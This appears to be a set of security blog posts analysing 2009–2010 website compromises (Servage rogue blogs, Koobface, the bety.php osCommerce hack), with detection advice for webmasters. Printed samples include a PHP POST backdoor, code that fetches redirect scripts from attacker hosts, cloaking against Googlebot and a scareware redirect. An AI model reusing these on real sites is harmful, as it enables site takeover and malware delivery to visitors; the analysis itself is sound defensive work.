Recently I’ve been contacted by one of Servage clients who found his sites hacked:

I noticed the anomalous traffic to domains that are essentially either completely parked or just used for email addresses (SMTP forwarding rather than anything ‘clever’ with webmail.) That led me to the file structures and a quick google led me to your site.

He sent me the offending files he found under his account (thanks Matthew). Now I can share my analysis of the files with you.

In my previous post, I speculated about the internal structure of the rogue blogs. Now that I have the files, I can say that all my guesses proved to be correct.

Blog engine

Indeed, a full-featured yet minimalistic PHP blog engine powers the rogue blogs.

The whole engine consists of only 4 files:

• index.php – main file of the engine. Less than 500 lines of PHP code. Less than 18K bytes on disk.
• template.php – template of web pages that uses the data provided by the index.php. About 20 Kbytes.
• categories.dat – serialized blog categories.
• .htaccess – rewrite rules to support SEO-friendly URLs.

And this engine is indeed anonymous. I couldn’t find any credits. No names, not licenses. Just the code. The only clue I found was this User-Agent string of the ping requests: WeirD blog engine.

Features

The engine can do pretty much everything you expect a blog engine should be able to do.

• add/remove entries
• break down entries by categories
• display entries in chronological order
• support SEO-friendly URLs
• notify services like Ping-O-Matic, Technorati, Google Blogsearch, Weblogs about new posts.
• provide RSS feeds
• support trackbacks
• support custom templates

Flat files

The entries (there are hundreds of them) are stored in flat .txt files in the same directory. This makes the engine database-independent, so it can work on most servers. The only requirements are:

• PHP
• sufficient directory permissions to create files
• Apache (to use SEO-friendly URLs)

Here’s a sample content of one of such text files (blonde-avril-lavigne.txt):

blonde avril lavigne
<img src="http://lh5.ggpht.com/elaing.zhang/SNxxYg5W9iI/AAAAAAAAUzE/Y75n9lb2xmg/s800/avril-lavigne80926003.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://lh3.ggpht.com/elaing.zhang/SNxxYxT7YwI/AAAAAAAAUzM/CZ832w22_Go/s800/avril-lavigne80926004.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://images.teamsugar.com/files/users/2/20652/34_2007/76335776.preview_0.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://www.judiciaryreport.com/images/avril-lavigne-pic.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://static.desktopnexus.com/wallpapers/4138-bigthumbnail.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />

As you can see the files are straight forward. The title on the first line followed by the content. In our case the content is five images (Google Image search results for corresponding keywords).

.htaccess

Since the purpose of the rogue blogs is poisoning of search results, “SEO-friendly” URLs is a required feature of the blog engine. This engine uses Rewrite rules in .htaccess files.

RewriteEngine On
RewriteRule ^category/([^/\.]+)/?$ index.php?category=$1 [L]
RewriteRule ^category/([^/\.]+)/page/([0-9]+)/?$ index.php?category=$1&page=$2 [L]
RewriteRule ^download/([^/\.]+)/?$ download.php?id=$1 [L]
RewriteRule ^page/([0-9]+)/?$ index.php?page=$1 [L]
RewriteRule ^([^/\.]+)/?$ index.php?id=$1 [L]
RewriteRule ^rss20.xml$ index.php?action=rss [L]

Malicious features

What makes these blogs malicious is following modifications to the original engine.

css.js

All blog pages contain the following script tag:

<script type="text/javascript" src="'.$blog['homepageUrl'].'css.js"></script>

The script redirects visitors that come from search engines to scareware sites. The content of this script constantly changes, redirecting people to new, not yet blacklisted sites. Here is how they do it behind the scenes:
function get_js_file($filename) {
if (!file_exists($filename) or time() - filemtime($filename) > 3600) {
$js_file = @file_get_contents('hxxp://t.xmlstats .in/b-m-2/'.$filename);
if (!$js_file) { $js_file = @file_get_contents('hxxp://t.jsonstats .in/b-m-2/'.$filename);}
if ($js_file) { @file_put_contents($filename, $js_file);}
}}

As you can see, this code tries to update the css.js file downloading its new content from hackers’ sites: t.xmlstats .in, t.jsonstats .in and, in some versions of the engine, t.jsstats .in.

This is how hackers make sure their blogs always redirect to currently active scareware sites.

Anti-Googlebot

Another modification is the code that detects requests from Google’s network checking the IP address against known Google’s IP ranges. If a request from Google is detected, the css.js file is replaced with css.google.js. This way hackers try to hide the malicious redirects from Googlebot when it indexes the rogue blogs. And the fact that I can see many such blogs in Google search results without any warnings shows that this simple trick does its job.

Different generations

In November, I discovered that there had been several different generations of the rogue blogs. Checking the files I received from Matthew, I found those generations sitting in separate subdirectories: blog, bmblog, bmsblog.

Backdoor script

Another interesting file I received is the index.php above the directories with rogue blogs:

<?php
error_reporting(E_ALL);
if (md5($_POST['5758e26e']) == '068f4646e8e1aefcdcd184e31e33af47') {
$test_func = create_function('', urldecode($_POST['f']));
$test_func();
}
?>

This is a typical backdoor script that executes whatever PHP code hackers send in parameters of POST requests.

Apparently, this script was used to create all other rogue files and directories. The question is how this backdoor script got there in the first place.

When Matthew asked Servage about what happened to his sites, they accused him of using insecure scripts, despite of the fact that his site didn’t use any scripts at all.

As I showed in my previous post, 85%+ of discovered rogue blogs are hosted by Servage so I’m almost sure some Servage-specific security hole was used. (Pure speculation: For example, it could be some php shell that hackers used to finds user accounts with writable directories. And the internal Servage architecture might help this script propagate to different physical servers. )

Still active

While the first generation of these rogue blogs appeared in April of the last year, this attack is still active. I can still see quite a few rogue bmsblog blogs with dates of the most recent posts in March of 2010. And some of them (not all though) can be found via Google search inurl:bmsblog/category 2010.

To Webmasters

While this particular attack mainly affects clients of Servage hosting company, it is quite typical for hacks that try to create rogue web pages in compromised web sites. So the following advice should be useful for most webmasters.

1. Make sure your server directories are only writable to you. This is especially important in shared hosting environment where hackers can use a compromised neighbor account to find writable directories in the rest sites on the same server and then create rogue content there.

2. Regularly scan your server for any suspicious files and directories.

3. Regularly check raw server logs. You may find requests to files that shouldn’t be there.

4. Pay special attention to POST requests. They are very popular for backdoor scripts. Just compile a list of files accessed via POST requests and check if you recognize any of them.

5. Many shared hosting plans include Webalizer. Every now and then check its reports. While they are normally not as useful as Google Analytics reports, they have one important advantage over Google Analytics – they track all files under your account, not only those where you inserted a tracking code. So, in Webalizer, you can see requests to files created by hackers, while Google Analytics completely misses this sort of data.

6. Hackers usually create rogue web pages to poison Google search results. So it’s natural to use Google to detect this sort of hacks. Regularly use Google to check what is indexed on your site. Use the site:you_site_domain.com search command.

7. Regularly check reports in Google Webmaster Tools. They may also reveal suspicious activity. Useful reports: Top search queries, Keywords, Links to your site.

8. If you find new directories with rogue files, disallow them in robots.txt. This will show Google that you don’t want those directories to be indexed. Otherwise, even if you delete the files, Google may keep them in index for quite some time (who knows, maybe you removed them temporarily while, say, redesigning your site).

For example, if you find rogue files in /cgiproxy/bmsblog/ the robots.txt should be:
User-agent: *
Disallow: /cgiproxy/bmsblog/

9. And don’t forget about other types of hacks that mess with your existing files. Regularly check your site for consistency and any illicit content that hackers may inject into your web pages (this is where my Unmask Parasites service can help).

Call for information

This case is not completely investigated yet. For example, I still don’t know why it mainly hits Servage and how exactly it propagates. This information could help Servage clients prevent infection of their sites. And probably guys at Servage need this information too since it looks like they can’t stop this attack themselves (and it’s active for about a year now!!!)

And if you have interesting information about any other hacker attack, please share it with me and readers of this blog. I’m always looking for malicious files that webmasters find on their compromised servers. They can tell a lot about how the attacks work. So before deleting any offending content, consider contacting me first.

Thanks for reading this blog. Your comments are welcome.

Related posts:

• Rogue blogs regirect search traffic to bogus AV sites. Part 1
• Rogue blogs redirect search traffic to bogus AV sites. Part 2
• Bety.php – osCommerce Hack. Part 1.
• Bety.php Hack. Part 2. Black Hats in Action.

Mar 8, 2010

Interesting slashdot discussion on security for dedicated and VD servers on tight budget

[senseofsecurity.com.au] severe vulnerability found in Windows version of Apache 2.2.14

Mar 9, 2010

Updated my list of Gumblar zombies – now 550 URLs

[Google webmaster forum] discussion about rogue web pages on Heart Internet network – meat is closer to the bottom

[pandasecurity.com] Vodafone HTC smartphone comes with pre-installed malware – disable autorun on USB devices

[Google webmaster forum] IIS6 exploit responsible for cloaking. Rogue files and directories: isapic.dll, cloak, clbackup

[minor update] Unmask Parasites v0.5.201 – improved redirect reporting

Mar 10, 2010

[h-online.com] Attacks on newly discovered vulnerability in IE 6 and 7

[BadwareBusters.org] RT @stopbadware: Have you encountered a badware site? Report it to StopBadware

Mar 11, 2010

In today’s comment spam I see many links to rogue blogspot blogs with scripts from “3bcdegptv org“. Not currently blocked by Akismet.

Mar 12, 2010

One of Walmart’s sites is hacked and stuffed with hidden spammy links. Probably, outdated WordPress.

Mar 13, 2010

[o3strategies.com] Wordpress hidden link injection FIX – rogue files in wp-includes directory

If you want more real-time experience, you can follow @UnmaskParasites on Twitter.

Related posts:

• Previous Tweet Weeks

Mar 3, 2010

[h-online.com] Fakeinit scareware with Alureon root kit

[Google Webmaster Central] New Message Center notifications for hacking and abuse – now include comment spam and ugc

Mar 5, 2010

[computerworld.com] 22 different patch mechanisms for 75 updates every year. Secunia promotes more universal solution

[h-online.com] known IE vulnerabilities will remain unpatched in March

Mar 7, 2010

Interesting reddit discussion about a malicious PHP code found on one site

If you want more real-time experience, you can follow @UnmaskParasites on Twitter.

Related posts:

• Previous Tweet Weeks

Joshua’s list was a good starting point. I saw multiple rogue blogspot blogs that followed the same pattern and multiple compromised sites where those blogs redirected to. For some reason, most of the functionality of the malicious pages on the hacked sites is implemented as a client-side JavaScript, so I could easily retrieve and analyze those scripts. They provided me with very interesting details about the internals of the attack: sites it expected as referrers and usage of infected PCs. As a result I came up to the following scheme:

Flow of the attack

Most people first meet the Koobface when they receive a message with a link to some video from someone they know. It’s either a message from a friend in Facebook or some other social network, or a DM in Twitter. To make the link less suspicious criminals use URL shorteners like bit.ly, tinyurl.com, etc. This is a normal practice on Twitter where messages are limited to 140 characters. For not-Twitter users such links will also be less suspicious than something like “hxxp://www.sfighters .yoyo .pl/ freevideo/?go”, especially when the link is received from a friend.

Another vector is poisoned search results that lead to rogue blogspot blogs that, in turn, redirect visitors to a hacked third party site that coordinates the malicious action.

That site can choose either choose the infection path or the direct monetization path.

Infection path

In case of the infection path, the user is redirected to a specifically crafted web page on one of already infected computers. This page takes into account the site where the user clicked on the malicious link (it may look like YouTube or Facebook). Generally it’s a web page with a “video” that requires additional download (player/codec update). This download is a trojan that seems to be used to download the rest malicious files and turn the use computer into a zombie. Among other bad things, infected PCs help the Koobface propagation:

• they send out message with malicious links to users’ contacts in social networks
• they host fake video pages
• they steal FTP credentials from users’ websites (if they happen to be webmasters) and then create rogue web pages there.

It shouldn’t be a surprise that after such a download the video won’t play. And when disappointed users close the page, they see another window saying that their computer is infected (this time it doesn’t lie) and they should download a security program (that is just another trojan) that will “fix” the problem. This happens because the fake video pages have an “onunload” even handler that opens a scareware site when people leave that page. This helps increase the infection rate and monetize the traffic via affiliate relationships with fake AV vendors.

Monetization path

Sometimes the sites that coordinate the attack flow decide to choose the monetization path right away and redirect users to a proxy site (when I checked it was 61 .235 .117 .83) that selects a proper affiliate link: adult dating sites, pirated video download sites, etc.

Rogue blogs

An interesting part of this attack scheme is rogue blogspot blogs. They all look the same and definitely auto-generated.

Here are their distinguishing features:

1. A single post that consists of a news headline (presumably from Google News), for example: “Two journalists released in Somalia – CNN International” or “Obamas’ affection for Hawaii means better times for state – USA Today“. This headline is both the blog title and the title of the only post. The post itself is empty.

2. The addresses of such blogs are composed of several words that resemble names (probably parts of stolen user credentials). E.g. demontlucavincenzo .blogspot.com, jacekjacekroys .blogspot.com, jamaldboeding .blogspot.com, britnymccarville .blogspot.com.

3. The blogs are the only blogspot blogs of their users (One Blogger user -> one blog -> one blogpost). They don’t create multiple blogs under the same account (otherwise they can all be easily detected and shut down).

4. They use different default languages for each blog. You can see blogs with user interface in English, Dutch, Chinese, Arabic, Russian, Greek, Hebrew, Turkish, etc. At the same time blog titles (news headlines) are always in English.

5. And the key feature is the script in the <head> section of their HTML that redirects visitors with enabled JavaScript to an intermediary attack site. The script usually starts with something like this:

c3f7db='do';d2beef91="canuqnkmfji".replace(/[anqkfji]+/g,"");eb79c7d9='ent.r'; ...

and is generally well detected by Unmask Parasites.

It is clear that the blogs are automatically generated. Probably the CAPTCHA-breaking function of Koobface trojans is used to automatically create multiple Blogger accounts.

The nature of the blogs’ content makes me think that their primary purpose is search results poisoning. Publishing headlines of breaking news when there’s not much relevant legitimate content exists, they expect their blogs will be ranked high enough (at least for a short time) for the news related searches. Given how many people use search engines to find details about hot news topics, this may be a working approach.

However only people from Blogger can says how successful for hackers this approach is. I tried to search for headlines that appear on Google News but couldn’t find the infected blogs (is this vector still active?). On the other hand I’ve easily found a couple a big farms of spammy blogspot blogs that used the same trick.

Anyway, I was able to identify several hundred Koobface rogue blogs (and the hacked sites they redirect to) using Google’s Safe Browsing Diagnostic pages. For example if you check the diagnostic page for any known infected blog (e.g. britnymccarville .blogspot .com ) and then click on the links for sites reported as hosting malware (the IP addresses belong to infected PC and domain names to hacked legitimate sites), you will see more infected blogspot blogs on subsequent pages.

Checking the blacklisted blogs that still exist, I found the earliest dates they have (the dates of blogposts) are in the second half of November 2009 and the most recent are in this February. Maybe it’s just a coincidence, but this period almost exactly matches the sharp increase in number of reported malicious URLs on Google’s network (blogspot.com blogs are a part of that network).

StopBadware report: Number of Reported URLs on AS 15169 – GOOGLE – Google Inc.

If it’s not a coincidence, then Koobface is responsible for about 80% of reported malicious URLs on Google’s network.

(Thinking aloud: November dates may have something to do with the fact that Safe Browsing data is limited to the last 90 days, so I just can’t see rogue blogs that had been blacklisted before November. On the other hand, Google’s malware scanners revisit infected sites once in a while and update their status, so I still expect to see some records for sites that had been first blacklisted before the last November. If they exist.)

Some of the blogs I checked have already been shut down. I wonder why Blogger doesn’t shut down them all if they can easily obtain a list of the rogue blogs from Google’s own Safe Browsing database. (I could manually retrieve more than 300 unique Koobface blogs using only Safe Browsing diagnostic pages that provide very limited and incomplete information). These blogs are not infected legitimate blogs – they are 100% malicious and created by non-existing users. And they can be easily distinguished from any other legitimate blogs (even by a pretty simple automated scanner). Blogger, you can safely delete all those blogs and users! Why wait?

Hacked legitimate sites

Now let’s talk about the compromised legitimated sites that work as intermediaries in this attack.

Hackers create a new directory where they place their files. The malicious URL have the following structure: http://www.hacked-site.com/rogue_dir/?go

Here are some real examples (be careful):

www .uniquecreationbabies .co.za/supervids/?go
www .piratedb .net/index.htm/?go
ritmotours .com .tr/main/?go
www .sfighters .yoyo .pl/freevideo/?go

If you specify a URL without the ?go part you will see a page that contains a blurry thumbnail of a video page and a Flash file that redirects visitors to the ?go page (thanks Pob)

The ?go page consists only of one moderately obfuscated script:

The first thing you see is two lists at the very top of the script. The first is a list of expected referrers:

• facebook.com
• tagged.com
• friendster.com
• myspace.com
• msplinks.com
• lnk.ms
• myyearbook.com
• fubar.com
• twitter.com
• hi5.com
• bebo.com

No comments required. These are the primary places of Koobface distribution.

Infected PCs

The second list contain 20 IP addresses. This list is different on every hacked site. When I checked the IPs with DomainTools I discovered that they all belonged to different cable and broadband Internet service providers. In other words, they are IPs of regular home and office PCs.

This list is used to create 20 external scripts and load them on the fly. If a rogue web server on an infected computer is working at that moment it should respond with a URL of a fake video page that it hosts. Then, using a timer, the intermediary site checks when that URL is available and redirects people there.

Quick Q&A

Q: Why use infected PSc as malicious web servers?
A: Why not? They control thousands of infected zombie PCs that are powerful enough, have a decent Internet connection and many of them have static IPs.

Q: Why 20 IPs?
A: Remember that home PCs are not always turned on and connected to the Internet. Moreover, the malware can be removed from infected computers any time. So hackers try to connect to 20 different infected PCs at the same time to increase chances that at least one of them is ready to serve the fake video page.

Q: What happens if web servers on more than one IP will be available at the same time? Will people see more than one fake video page?
A: No. The intermediary sites wait for any redirect URL to be available. When they detect that some of the loaded (from infected PCs) scripts provided such a URL, visitors get redirected. All subsequent redirect URLs are simply discarded.

To webmasters

This post contains some important information for webmaster and I want to sum up it here.

Keep your PC clean

If you don’t want your sites to be hacked, you should keep your PCs clean from malware.

Per TrendMicro, among other bad things, Koobface installs a variant of the LDPinch trojan that steals email, IM and FTP credentials. Here is the list of the targeted FTP clients TrendMicro provides (PDF) in their Koobface review (compare it with the list I published here a few months ago):

• Total Commander
• cuteFTP
• Ipswitch
• SmartFTP
• Coffeecup Software
• FTP commander (Pro, Deluxe)
• FlashFXP
• FileZilla

So get a decent antivirus program and a Firewall that will block unauthorized network activity (e.g. trojans sending your FTP credentials to bad guys).

Try not to save passwords in FTP clients (especially in those listed above) if they don’t provide master key encryption.

If your hosting plan includes SFTP (or FTPS), switch to the secure protocol immediately and forget about FTP that sends everything (including your passwords) in plain text. Most popular FTP clients support secure protocols so this switch will be painless.

Although Koobface doesn’t use browser/plugin vulnerabilities, I still insist that you keep your whole system (OS, web browser, Java, Flash, Adobe Reader, etc.) up-to-date. There are many other web threats that exploit vulnerabilities of (even slightly) outdated software.

I recommend that you use Firefox with the NoScript extension. This plugin allows to execute only trusted scripts and active content, which makes web surfing more secure. As I showed above, Koobface actively uses JavaScript on both intermediary and fake video pages. With NoScript, you would hardly reach the pages that actually serve malicious files. Unfortunately, this extension is only available for Firefox at this time. If you know any alternatives, please leave a comment.

If your site is hacked…

If you were unlucky your site could have been hacked. Here is what you can do to detect this.

1. Scan your server for new suspicious files and directories.
2. Search for suspicious .swf files (especially if you don’t use Flash). In the rogue directories, hackers place a Flash file with a name like “n0ld7q.swf“
3. Search for files that contain this string: KROTEG. I see it at the top of the main script on every compromised (by Koobface) site.

Google’s malware warnings

If your site is blacklisted by Google and you don’t know why (you can’t find anything wrong in your web pages), check the Safe Browsing diagnostic page ( http://www.google.com/safebrowsing/diagnostic?site=your-site-domain.com ). If this page mention several blogspot blogs that your site have infected (example), the chances are your site is exploited by Koobface and you should search for a rogue directory on your server.

When you identify and remove the cause of the problem, don’t forget to request a malware review via Google Webmaster Tools to have your site removed from the blacklist.

To learn more about Google’s malware warnings and how to deal with them, you might want to read my practical guide.

Summary

This was the first time I worked with Koobface. It’s such a complex multi-tier heterogeneous malware attack so I don’t expect that I managed to cover everything correctly at the first try. Even the visible (web) part of the Koobface iceberg is very impressive:

• Social Networks
• Search Engines
• Rogue blogs
• Hacked legitimate sites
• Web servers on infected PCs
• Scareware and other “grey/black” affiliate sites.
• and I don’t mention here exploit files hosted on image-sharing sites as .JPG files (per TrendMicro)

And the hidden part (malware on infected PCs and botnet coordination) that I don’t even try to research myself is monstrous (Check this visualization and explanation (PDF) by TrendMicro).

Have your say

So if you find any mistakes in this post or want to share some missing details, please leave your comment here.

I would also be interested in hearing from webmasters of the hacked exploited used by Koobface. I’d like to take a look at file they upload (I still don’t know if they use server-side scripts or just add some .htaccess logic for different types of requests).

Thanks for reading.

Related posts:

• 10 FTP Clients Malware Steals Credentials From
• Quicksilver Malware Network
• Rogue blogs redirect search traffic to bogus AV sites. Part 1.
• Rogue blogs redirect search traffic to bogus AV sites. Part 2.

Feb 15, 2010

WeWatchYourWebs explains the recent attack – stolen FTP credentials and eval(base64_decode

RT @wordpress: WordPress 2.9.2 has been released, addressing a security concern w/trash.

Feb 17, 2010

Updated my list of Gumblar zombies – 500 items at this point and the attack is still active

Feb 20, 2010

[ocaoimh.ie] New version of WordPress Exploit Scanner plugin

Comment from a Servage user who had rogue blogs created under his account

RT @stopbadware: New data reporting tools on StopBadware.org

Top 50 IPs that host reported malicious URLs – SoftLayer network hosts the leader. Google hosts #2 .

Top 50 networks by number of reported malicious URLs.  Leaders: SoftLayer, ThePlanet & ChineNet-Backbone

Feb 21, 2010

[krebsonsecurity.com] what happens when security news make it to major media – take them with a grain of salt

If you want more real-time experience, you can follow @UnmaskParasites on Twitter.

Related posts:

• Previous Tweet Weeks

Feb 8, 2010

Investigating an attack that seems to be exploiting vulnerability of phpMyAdmin. Make sure your phpMyAdmin is up-to-date.

[h-online] Tomorrow Microsoft releases fixes to 26 sec. vulnerabilities.  Some known vulnerabilities will stay unpatched

Feb 10, 2010

The ex-”GNU-GPL” script constantly mutates. You can learn a lot about JS following the changes ;-)

Feb 11, 2010

[thecpaneladmin.com] Securing FTP Access on a cPanel Server

Feb 12, 2010

[h-online] SpyEye botnet toolkit – bots grab web froms, email and FTP traffic

RT @briankrebs: Critical Security Update for Adobe Flash Player. Also, another Adobe Reader patch coming

RT @kdawson: Breaking: BSoD after Windows security update happens only on machines with pre-existing rootkit infection.  (Comments are also worth reading)

[minor update] Unmask Parasites v0.5.197 – added more malware detection rules

If you want more real-time experience, you can follow @UnmaskParasites on Twitter.

Related posts:

• Previous Tweet Weeks

Feb 1, 2010

New revision of the ex-”GNU GPL” malicious script.

Feb 3, 2010

Answers to Google’s webmaster quiz

RT @gcluley: The world’s top 10 dirtiest web-hosting countries revealed

Feb 4, 2010

Seems like a new attack against PHP sites – it uses “iss9w8s89xx .org” and “ssdfsdfwefwefwe .com”

[slashdot] Image Searchers Snared By Malware – malicious redirects for Image search results (Google & Yahoo). (Attack description similar to the ones I post here. It includes my comments.)

Another insightful story about .htaccess hack in slashdot comments.  – media cloaking?

[h-online] Microsoft confirms new vulnerability in Internet Explorer – IE5-IE8 are reportedly affected

Feb 7, 2010

[mozilla] malicious Firefox add-ons: Sothink Web Video Downloader and Master Filer

If you want more real-time experience, you can follow @UnmaskParasites on Twitter.

Related posts:

• Previous Tweet Weeks

Jan 26, 2010

RT @gcluley: RT @mikkohypponen: Some notes about using Twitter as a tool for people interested in computer security.

New revision of the “GNU GPL” malicious script – now without comments and with less obfuscation. (Jan 29, plus more recent revision)

Jan 27, 2010

[h-online] Scareware becomes ransomware again – encrypted files, unbootable Windows, malicious IQ tests

Another bunch of hacked sites poison search results for Haiti disaster keywords (using the bety-like hack)

RT @briankrebs A peek inside one of the more popular browser exploit kits. the stats might surprise you.

Jan 28, 2010

[sophos] Troj/JSRedir-AK morphs into Troj/JSRedir-AR

[stopbadware.org] Tips for Cleaning & Securing Your Website

FTP Lock – hosting providers come up with solutions that can minimize threats from stolen FTP credentials

Jan 29, 2010

[google] Request visitors’ permission before installing software if you don’t want your site to be labeled as malicious

Jan 30, 2010

[minor update] Unmask Parasites v0.5.196 – should work slightly faster.

If you want more real-time experience, you can follow @UnmaskParasites on Twitter.

Related posts:

• Previous Tweet Weeks

The main goal is to demystify hackers and encourage webmasters to explore their own sites. The more you know about hackers, the better you’ll be at protecting your site against their attacks.

This post is based on the files and access logs of three compromised sites that I received from a webmaster who contacted me a couple of weeks ago.

Quick facts

1. The attack uses unpatched vulnerability in osCommerce 2.2 that allows an attacker to upload arbitrary files to compromised servers using a security hole in file_manager.php.
2. Only one of the three sites actually uses osCommerse (site-1).The rest two sites had been hacked using access gained via the hacked site-1.

Chronicle of the attack

In logs of site-1, I found several POST requests to “/admin/file_manager.php/login.php?a=1&action=save” (on December 9, 10, 16, 17, 18) from several different IPs. Right after those attacks I saw POST requests to newly created files called fly.php (the file that is used in the disclosed exploit — it executes arbitrary PHP code passed as a POST parameter) and flop.php. Apperantly those files provided full access to the site (to directories with write permission). One of such attacks created a file called mm.php (it provides a simple interface to upload files from a local computer to server).

December 21, 2009

12:13 – Hacker with IP 84.52.73.161 uses mm.php to upload an sh1.php file to the /images directory. sh1.php is a web shell. It equips hackers with a sophisticated graphical interface that provides almost full access to compromised sites. It allows hackers to browse directories, create and modify files, execute arbitrary PHP code, work with databases etc.

12:14 – 12:28 – the hacker uses the web shell to explore internals of the site-1.

12:14 – he discovers site-2 under the same account

12:23 – he discovers site-3 under the same account and decides to start the malware campaign there. He uploads sh1.php and bety.php there.

21:05 – The hacker submitted three site-3/bety.php?q=keywords pages to page2rss.com (Page2Rss helps monitor web sites that do not publish feeds).

21:06 – The hacker clicks on the created links on page2rss.com and visits site-3 to check that everything works as intended.

Links on page2rss.com are “nofollowed” but maybe this service somehow pings Google about new feeds, which makes the discovery faster?

21:31 – Googlebot comes to site-3 directly to bety.php pages and starts to index them. Apparently hackers somehow submitted a big batch of bety.php URLs to Google since it’s clear that it didn’t use site-wide discovery (didn’t follow links found in just indexed bety pages).

22:50 - Googlebot finishes indexing bety.php pages. 1976 malicious pages have been indexed.

The indexed pages become immediately available in search results. The first visitor from Google Search comes at 21:47. It is just in 16 minute after Google first discovered the bety pages and started indexing them and in 5 minutes after that visited page had been indexed. And at that time the initial indexing was still underway with more than an hour to go. 10 web surfers had visited the bety pages by the time googlebot left the site.

Some stats on visits from Google:

42 visits on December 21.
129 visits by December 31.

But wait, it’s just the beginning.

Bety on site-2

December 22

08:18 – The hacker with IP 84.52.73.161 returns to site-1 and works with it for about 6(!) hours using the sh1.php web shell. This time he wants to start the “bety” campaigns on site-1 and site-2.

08:22 – he uploads sh1.php and bety.php to site-2.

08:51 – the hacker has someone open the site-2/bety.php?q=so-you-think-you-can-dance-phone-number page using Microsoft Translator service.

09:32 – Googlebot comes to site-2 and starts to index the bety.php pages.

09:58 – first visitor clickes on the bety search result. As you can see, the indexed pages become searchable almost immediately.

10:36 – The first batch of 1592 bety.php pages is indexed. By this time 25 more visitors came to site-2 bety pages via Google search results.

18:38 – One of the bety links somehow makes it to twitter. The same minute Googlebot follows this link.

21:39 – Googlebot visits site-2 again and starts to index another batch of 5150 bety pages. This session lasts till 03:24 – of the next day (almost 6 hours).

Then Googlebot regularly visits site-2 and by the end of month it has indexed 8415 bety pages. As a result, there had been 1353 visits of malicious bety pages from Google search results on December 22, 1878 visits on December 23, and 5734 visits by the end of December.

Bety on Site-1

When Google picked up bety pages on site-2, the attacker switched back to site-1 and triggered the bety campaign there.

December 22, 2009

10:53 – a spammy comment with 438 links to site-1/bety.php?q=keywords pages has been published on my.mail.ru. 11:02 – Someone clickes on those links and opens a couple of bety pages.

12:35 – Googlebot comes to site-1 and starts to index the bety.php pages. It indexes 4887 malicious pages by 16:44.

12:59 – the first visitor from Google search.

466 – visits from Google search results on December 22.
1500 – visits from Goolge on December 23.
3136 – visits from Google by the end of December.

Sumarry

During the last 10 days of December, 2009, this hacker managed to drive 9019 visits from Google to malicious bety pages. (Google was the only source of traffic for those pages.) 7768 times the script that redirects visitors to malicious sites was loaded by web surfers from 4781 unique IPs. Quite impressive, given it only took a few hours of the hacker’s time.

The secret of bety.php

OK. So what does this bety.php do an how it manages to provide Google with so many different variants of pages that it considers worthwhile to show on first pages of search results?

Bety.php handles two types of request q and red.

Red requests

bety.php?red=keywords requests are used to retrieve the content of lname.php, which is a redirect script, like this:

window.location = "hxxp://basicallyantispyware .net/hitin .php?land=20&affid=33220";

Every 20 minutes, bety.php updates the content of the lname.php file pulling the domain name of the currently active malicious site from
hxxp://92.48.127.76/domain.php?password=d0cd05bf619266a045dfb4a016753a39

To hide the malicious redirect from search engines, red request handler checks IP addresses of visitors and doesn’t return anything if detects requests from known IP-ranges used by search engine crawlers.

Q requests

q requests return web pages specially crafted for Google.

When bety.php is opened for the first time, it creates a special directory called .cache (in new version .pages). It is the place where the bety script stores generated web pages.

When processing bety.php?q=keywords requests, the script checks if there is a pages called keywords.html in the cache directory. If it is, this page will be displayed. E.g. for /bety.php?q=2010-nfl-mock-draft request it checks for file .cache/2010-nfl-mock-draft.html.

If the cached file is missing (and initially there are no cached files at all) it is generated on the fly. Here is the structure of the generated files:

1. Keywords go to the title tag. (dashes replaced with spaces)
2. Background and text colors are random value (to make all pages look a bit different)
3. Capitalized keywords go to the h3 tag at the top of the page.
4. Below goes the current date (as a hint that the content is fresh)
5. Then there is a bullet-list of up to four links:
   1. The first is a link to .cache/map.html – (every generated web pages is added here)
   2. The next three items link to bety.php?q=keywords1, bety.php?q=keywords2, bety.php?q=keywords3, where keywordsN are top keywords returned by Google’s AJAX requests that are normally used for keywords suggestions in Google’s search forms.
6. Malicious redirect script<script src=”?red=keywords”></script>
7. 50 random descriptions from top 100 Google’s search results for keywords.
8. In new versions, they also add a buggy link to “hxxp://www.megaupload .com/ ?d=YQ3C29N6“
9. And finally, for tracking purpose, each bety page contains a script of a hit.ua counter. So you can check how successful this particular malware campaign is: http://c.hit.ua/hit?i=25418

Pretty straight forward, isn’t it? Those pages contain many relevant keywords and while they are fresh (first couple of days) Google temporarily boosts their ranking. And for multi-keywords searches this is enough to make it to the first page of results.

What is not clear to me is

1. How hackers submit thousands of new pages to Google so that it immediately (well, almost) starts to index them?
2. How does Google permit this many (thousands) automated requests from compromised servers? In the logs, is see periods of more that an hour of consecutive requests at a rate of about 25 requests/second (and each time both “search” and “complete” services are requested). When I try to automate (sorry Google) searches from my home computer with comparable request rate (sometimes I need to analyze large volumes of search results for my researches), my IP inevitably gets block within a few minutes.
3. If Google readily indexes thousands (on just one site) of junk pages every day, what is the share of such junk in its main index? More than 90% 50%? ;-)

What do you think?

To webmasters

Hackers are always on the look out for vulnerable websites that they can use for their malicious activities. As a site owner or webmaster you should be ready to deal with hacker attacks.

1. If you use third-party scripts on your site, make sure they are secured. Find instructions on how to harden default installations. Then regularly check for security advisories (e.g. in Secunia). And always upgrade whenever security patches are available.
2. Monitor your server for changes (new files and directories). This can help you detect suspicious unauthorized activity early on. The sooner you detect the problem and clean up your site, the less the damage (think dropped search engine ranking, malware warnings, etc.) BTW, can anyone suggest tools suitable for file system monitoring on shared hosting plans?
3. Although Google Analytics and similar statistics scripts may provide you with almost everything you need to know about your site, don’t forget about raw access logs. Hackers don’t add your tracking code in their files and requests to them will only be reflected in access logs (tools like Webalizer work with raw logs so they can also help if requests to illicit files are popular enough to make it to Webalizer reports.) Pay special attention to POST requests – they may help you identify security holes.
4. Google Webmaster Tools can also help reveal illicit content, reporting top searches and search keywords for your whole site, not limiting to pages that contain your tracking code. Irrelevant keywords in GWT reports is a strong sign of security problems.

Any comments?

Related posts:

• Bety.php – osCommerce Hack. Part 1
• Black Hat SEO for Virus Dissemination
• Rogue blogs redirect search traffic to bogus AV sites. Part 1.
• Rogue blogs redirect search traffic to bogus AV sites. Part 2.
• Stats Anomaly Reveals Website Security Issues

Jan 18, 2009

[h-online] Typo3 updates patch holes

[milestone] 400,000 web pages checked by Unmask Parasites

Jan 19, 2009

Some nice Unmask Parasites testimonials. Please consider writing a testimonial if you like Unmask Parasites too.

Google’s quiz for webmasters – 40 questions. I only knew answers to about 80% of them.

